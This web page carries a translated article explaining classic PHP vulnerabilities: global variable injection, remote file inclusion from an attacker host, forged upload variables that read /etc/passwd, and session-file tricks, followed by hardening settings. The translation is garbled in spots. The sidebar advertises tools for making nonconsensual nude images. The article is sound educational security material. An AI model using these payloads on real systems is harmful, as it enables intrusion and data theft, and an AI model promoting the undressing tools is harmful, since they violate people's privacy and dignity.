[Global Variables]
Variables in PHP do not need to be declared in advance, they will be automatically created the first time they are used, and their types do not need to be specified, they will be automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient method. Obviously, this is also a very useful feature of rapid development languages. Once a variable is created, it can be used anywhere in the program. A consequence of this feature is that programmers rarely initialize variables; after all, when they are first created, they are empty.
Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client browser. In order to make it as easy as possible for PHP code to access user input, PHP actually treats this input data as global variables.
For example:
Obviously, this will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create any global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.
Translator’s Note: These two methods are what we usually call the “POST” and “GET” methods.
The following user authentication code exposes security issues caused by PHP's global variables:
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
The above code first checks whether the user's password is "hello". If it matches, set "$auth" to "1", that is, the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.
It looks correct on the surface, and quite a few of us do it, but this code makes the mistake of assuming that "$auth" is empty when no value is set, without thinking about it. An attacker can create any global variable and assign a value. By using a method like "http://server/test.php?auth=1", we can completely fool this code into believing that we have been authenticated.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.
A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured to turn on the "track_vars" option (which is the default), user-submitted variables are available in global variables and the array mentioned above.
But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode, the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by the newer PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.
[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a certain function. But from a security perspective, the more functions you have, the harder it is to ensure its security. Remote files are a good example of this problem:
if (!($fd = fopen ("$filename", "r"))
echo("Could not open file: $filename
");
?>
The above script attempts to open the file "$filename" and displays an error if it fails. Information. Obviously, if we can specify "$filename", we can use this script to browse any file on the system. However, there is a less obvious feature of this script, that is, it can be accessed from any other WEB or FTP. The site reads files. In fact, most of PHP's file processing functions are transparent to remote files. For example:
If "$filename" is specified as "http://target/scripts/..%c1%". 1c../winnt/system32/cmd.exe?/c+dir”
The above code actually exploits the unicode vulnerability on the host target to execute the dir command.
This makes supporting include(), require(), include_once() and require_once() for remote files more interesting in context. The main function of these functions is to include the contents of specified files and interpret them according to PHP code. They are mainly used on library files.
For example:
include($libdir . "/languages.php");
?>
In the above example, "$libdir" is generally a path that has been set before executing the code. If If the attacker can make "$libdir" not set, then he can change this path. But the attacker can't do anything because they can only access the file languages.php in the path they specify (the "Poison null byte" attack in perl has no effect on PHP). But with support for remote files, attackers can do anything. For example, an attacker can place a file languages.php on a certain server, containing the following content:
passthru("/bin/ls /etc");
?>
and then replace "$ libdir" is set to "http://
It should be noted that the attacking server (that is, evilhost) should not be able to execute PHP code, otherwise the attacking code will be executed on the attacking server instead of the target server. If you want to know the specific technical details, please refer to: http:// www.securereality.com.au/sradv00006.txt
[File Upload]
PHP automatically supports file upload based on RFC 1867. Let’s look at the following example:
The above code allows the user to select a file from the local machine. When submit is clicked, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds makes it unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it will first accept the file from the remote user and check whether the length of the file exceeds the value defined by the "$MAX_FILE_SIZE variable". If it passes these For testing, the file will be stored in a local temporary directory.
Therefore, an attacker can send arbitrary files to the host running PHP. Before the PHP program decides whether to accept the file upload, the file has already been stored on the server.
Here I will not discuss the possibility of using file upload to conduct a DOS attack on the server.
Let's consider a PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually /tmp), and the extension is usually random, something like of the form "phpxXuoXG". The PHP program needs to upload the file's information in order to process it, and this can be done in two ways, one that was already used in PHP 3, and the other that was introduced after we made a security advisory on the previous method.
However, we can say with certainty that the problem still exists, and most PHP programs still use the old way to handle uploaded files. PHP sets four global variables to describe uploaded files, such as the above example:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c: emphello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
Then the PHP program starts processing according to "$ hello", the problem is that "$hello" is not necessarily a variable set by PHP, and any remote user can specify it. If we use the following method:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
will result in the following PHP global variables (of course the POST method also Yes (even Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
The above form data is just enough variables expected by the PHP program, but at this time the PHP program no longer processes the uploaded file, but instead processes "/etc/passwd" (usually causing the content to be exposed). This attack can be used to expose the contents of any sensitive file.
As I said before, the new version of PHP uses HTTP_POST_FILES[] to determine the uploaded file, and also provides many functions to solve this problem. For example, there is a function used to determine whether a certain file is actually an uploaded file. These functions solve this problem very well, but in fact there must be many PHP programs that still use the old method and are vulnerable to this attack.
As a variant of the file upload attack method, let’s take a look at the following piece of code:
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
If the attacker can control "$theme", it is obvious that he can use "$theme" to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading does this for us. If the attacker first creates a file containing PHP code on the local machine, and then creates a form containing a file field named "theme" , and finally use this form to submit the created file containing PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$theme" to the file submitted by the attacker. In this way, the file_exists() function will pass the check and the attacker's code will be executed.
After gaining the ability to execute arbitrary instructions, the attacker obviously wants to escalate privileges or expand the results, which requires some tool sets that are not available on the server, and file uploading once again helped us. An attacker can use the file upload function to upload tools, store them on the server, and then use their ability to execute commands, use chmod() to change the permissions of the file, and then execute it. For example, an attacker can bypass the firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.
As we discussed earlier, include() and require() are mainly to support the code base, because we usually put some frequently used functions into a separate file. This independent file is the code base. When When we need to use the functions, we only need to include this code library into the current file.
Initially, when people developed and released PHP programs, in order to distinguish the code base from the main program code, they usually set a ".inc" extension for the code base file, but they soon discovered that this was a mistake, because The file cannot be correctly parsed into PHP code by the PHP interpreter. If we directly request such a file on the server, we will get the source code of the file. This is because when PHP is used as an Apache module, the PHP interpreter determines whether to parse it into PHP based on the extension of the file. of code. The extension is specified by the site administrator, usually ".php", ".php3" and ".php4". If important configuration data is contained in a PHP file without the appropriate extension, it is easy for a remote attacker to obtain this information.
The simplest solution is to specify a PHP file extension for each file. This can well prevent the leakage of source code, but it also creates new problems. By requesting this file, the attacker may use Code that is supposed to run within the context runs independently, which can lead to all of the attacks discussed previously.
The following is an obvious example:
In main.php:
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include ("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
...
include("$langDir/$userLang");
?>
"libdir/loadlanguage.php" is quite safe when called by "main.php", but because "libdir/loadlanguage" has a ".php" extension, a remote attacker can directly request this file and can Arbitrarily specify the values ????of "$langDir" and "$userLang".
[Session file]
PHP 4 or later provides support for sessions. Its main function is to save the state between pages in the PHP program. Information. For example, when a user logs in to the website, the fact that he logged in and who logged in to the website is saved in the session, and all PHP code can obtain this status information as he browses around the website.
In fact, when a session is started (actually set in the configuration file to automatically start on the first request), a random "session id" is generated, which if the remote browser always submits when sending the request If this "session id" is used, the session will always be maintained. This is easily accomplished via cookies, or by submitting a form variable (containing the "session id") on each page. PHP programs can use session to register a special variable. Its value will be stored in the session file after each PHP script ends, and will also be loaded into the variable before each PHP script starts. Here is a simple example:
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>
The new version of PHP will automatically set the value of "$session_auth" to "shaun". If they are modified, future scripts will automatically accept the modified values, which is very important for the stateless Web It is indeed a very good tool, but we should also be careful.
An obvious problem is to ensure that the variable does come from the session. For example, given the above code, if the subsequent script is as follows:
if (!empty($session_auth))
// Grant access to site here
?>
The above code assumes that if "$session_auth" is set, it is set from the session, not from user input. If the attacker sets it through form input, He will then gain access to the site. Note that the attacker must register the variable in the session before using this attack method. Once the variable is placed in the session, it will overwrite any form input.
Session data is generally saved in a file (the location is configurable, usually "/tmp"). The file name is generally in the form of "sess_
The Session mechanism also provides another convenient place for attackers to save their input in files on the remote system. For the above example, the attacker needs to place a file containing PHP code on the remote system. If this is not possible If he does it by uploading files, he usually uses session to assign a value to a variable according to his own wishes, and then guesses the location of the session file, and he knows that the file name is "php
In addition, the attacker can arbitrarily specify a "session id" (such as "hello"), and then use this "session id" to create a session file (such as "/tmp/sess_hello"), but the "session id" can only be letters and number combinations.
[Data Type]
PHP has relatively loose data types, and the types of variables depend on the context in which they are located. For example: "$hello" starts as a string variable with a value of "", but when evaluated, it becomes an integer variable "0", which may sometimes lead to some unexpected results. If the value of "$hello" is different between "000" and "0", the result returned by empty() will not be true.
Arrays in PHP are associative arrays, that is to say, the index of the array is of string type. This means that "$hello["000"]" and "$hello[0]" are also different.
The above issues should be carefully considered when developing a program. For example, we should not test whether a variable is "0" in one place and use empty() to verify it in another place.
[Error-prone functions]
When we analyze vulnerabilities in PHP programs, if we can get the source code, then a list of error-prone functions is what we need very much. If we can remotely change the parameters of these functions, then we are likely to find vulnerabilities. The following is a more detailed list of error-prone functions:
require(): Read the contents of the specified file and interpret it as PHP code
include(): Same as above
eval(): The given string is executed as PHP code
preg_replace(): When used with the "/e" switch, the replacement string will be interpreted as PHP code
exec(): Execute the specified command, returns the last line of the execution result
passthru(): Execute the specified command, return all results to the client browser
``: Execute the specified command, return all results to an array
system(): Same as passthru(), but different Processing binary data
popen(): Execute the specified command and connect the input or output to the PHP file descriptor
fopen(): Open the file and correspond to a PHP file descriptor
readfile(): Read the file content, and then output it to the client browser
file(): Read the entire file content into an array
Translator's Note: In fact, this list is not complete. For example, commands such as "mail()" may also execute commands , so you need to add it yourself.
[How to enhance the security of PHP]
All the attacks I introduced above can be well implemented for the default installation of PHP 4, but I have repeated it many times, PHP configuration is very flexible, by configuring some PHP options , it is entirely possible for us to resist some of these attacks. Below I have classified some configurations according to the difficulty of implementation:
*Low difficulty
**Medium-low difficulty
***Medium-high difficulty
****High difficulty
The above classification is just a personal opinion, but I can Guaranteed, if you use all the options provided by PHP, then your PHP will be very safe, even with third-party code, because many of these features are no longer available.
**** Set "register_globals" to "off"
This option will disable PHP from creating global variables for user input, that is, if the user submits the form variable "hello", PHP will not create "$hello", but Only "HTTP_GET/POST_VARS['hello']" will be created. This is an extremely important option in PHP. Turning off this option will bring great inconvenience to programming.
*** Set "safe_mode" to "on"
Turn on this option, the following restrictions will be added:
1. Limit which commands can be executed
2. Limit which functions can be used
3. File access restrictions based on script ownership and target file ownership
4. Disable file upload feature
This is a great option for ISPs and it can also greatly improve PHP security.
** Set "open_basedir"
This option can prohibit file operations outside the specified directory, effectively eliminating attacks by include() on local files or remote files, but you still need to pay attention to attacks on file uploads and session files.
** Set "display_errors" to "off" and set "log_errors" to "on"
This option prohibits error messages from being displayed on the web page, but is recorded in the log file, which can effectively prevent attackers from targeting the target Detection of functions in scripts.
* Set "allow_url_fopen" to "off"
This option can disable the remote file function, highly recommended!
Thank you for reading. For more related content, please pay attention to the PHP Chinese website (www.miracleart.cn)!

Hot AI Tools

Undress AI Tool
Undress images for free

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

User voice input is captured and sent to the PHP backend through the MediaRecorder API of the front-end JavaScript; 2. PHP saves the audio as a temporary file and calls STTAPI (such as Google or Baidu voice recognition) to convert it into text; 3. PHP sends the text to an AI service (such as OpenAIGPT) to obtain intelligent reply; 4. PHP then calls TTSAPI (such as Baidu or Google voice synthesis) to convert the reply to a voice file; 5. PHP streams the voice file back to the front-end to play, completing interaction. The entire process is dominated by PHP to ensure seamless connection between all links.

The core method of building social sharing functions in PHP is to dynamically generate sharing links that meet the requirements of each platform. 1. First get the current page or specified URL and article information; 2. Use urlencode to encode the parameters; 3. Splice and generate sharing links according to the protocols of each platform; 4. Display links on the front end for users to click and share; 5. Dynamically generate OG tags on the page to optimize sharing content display; 6. Be sure to escape user input to prevent XSS attacks. This method does not require complex authentication, has low maintenance costs, and is suitable for most content sharing needs.

To realize text error correction and syntax optimization with AI, you need to follow the following steps: 1. Select a suitable AI model or API, such as Baidu, Tencent API or open source NLP library; 2. Call the API through PHP's curl or Guzzle and process the return results; 3. Display error correction information in the application and allow users to choose whether to adopt it; 4. Use php-l and PHP_CodeSniffer for syntax detection and code optimization; 5. Continuously collect feedback and update the model or rules to improve the effect. When choosing AIAPI, focus on evaluating accuracy, response speed, price and support for PHP. Code optimization should follow PSR specifications, use cache reasonably, avoid circular queries, review code regularly, and use X

1. Maximizing the commercial value of the comment system requires combining native advertising precise delivery, user paid value-added services (such as uploading pictures, top-up comments), influence incentive mechanism based on comment quality, and compliance anonymous data insight monetization; 2. The audit strategy should adopt a combination of pre-audit dynamic keyword filtering and user reporting mechanisms, supplemented by comment quality rating to achieve content hierarchical exposure; 3. Anti-brushing requires the construction of multi-layer defense: reCAPTCHAv3 sensorless verification, Honeypot honeypot field recognition robot, IP and timestamp frequency limit prevents watering, and content pattern recognition marks suspicious comments, and continuously iterate to deal with attacks.

PHP does not directly perform AI image processing, but integrates through APIs, because it is good at web development rather than computing-intensive tasks. API integration can achieve professional division of labor, reduce costs, and improve efficiency; 2. Integrating key technologies include using Guzzle or cURL to send HTTP requests, JSON data encoding and decoding, API key security authentication, asynchronous queue processing time-consuming tasks, robust error handling and retry mechanism, image storage and display; 3. Common challenges include API cost out of control, uncontrollable generation results, poor user experience, security risks and difficult data management. The response strategies are setting user quotas and caches, providing propt guidance and multi-picture selection, asynchronous notifications and progress prompts, key environment variable storage and content audit, and cloud storage.

PHP ensures inventory deduction atomicity through database transactions and FORUPDATE row locks to prevent high concurrent overselling; 2. Multi-platform inventory consistency depends on centralized management and event-driven synchronization, combining API/Webhook notifications and message queues to ensure reliable data transmission; 3. The alarm mechanism should set low inventory, zero/negative inventory, unsalable sales, replenishment cycles and abnormal fluctuations strategies in different scenarios, and select DingTalk, SMS or Email Responsible Persons according to the urgency, and the alarm information must be complete and clear to achieve business adaptation and rapid response.

PHPisstillrelevantinmodernenterpriseenvironments.1.ModernPHP(7.xand8.x)offersperformancegains,stricttyping,JITcompilation,andmodernsyntax,makingitsuitableforlarge-scaleapplications.2.PHPintegrateseffectivelyinhybridarchitectures,servingasanAPIgateway

Select the appropriate AI voice recognition service and integrate PHPSDK; 2. Use PHP to call ffmpeg to convert recordings into API-required formats (such as wav); 3. Upload files to cloud storage and call API asynchronous recognition; 4. Analyze JSON results and organize text using NLP technology; 5. Generate Word or Markdown documents to complete the automation of meeting records. The entire process needs to ensure data encryption, access control and compliance to ensure privacy and security.
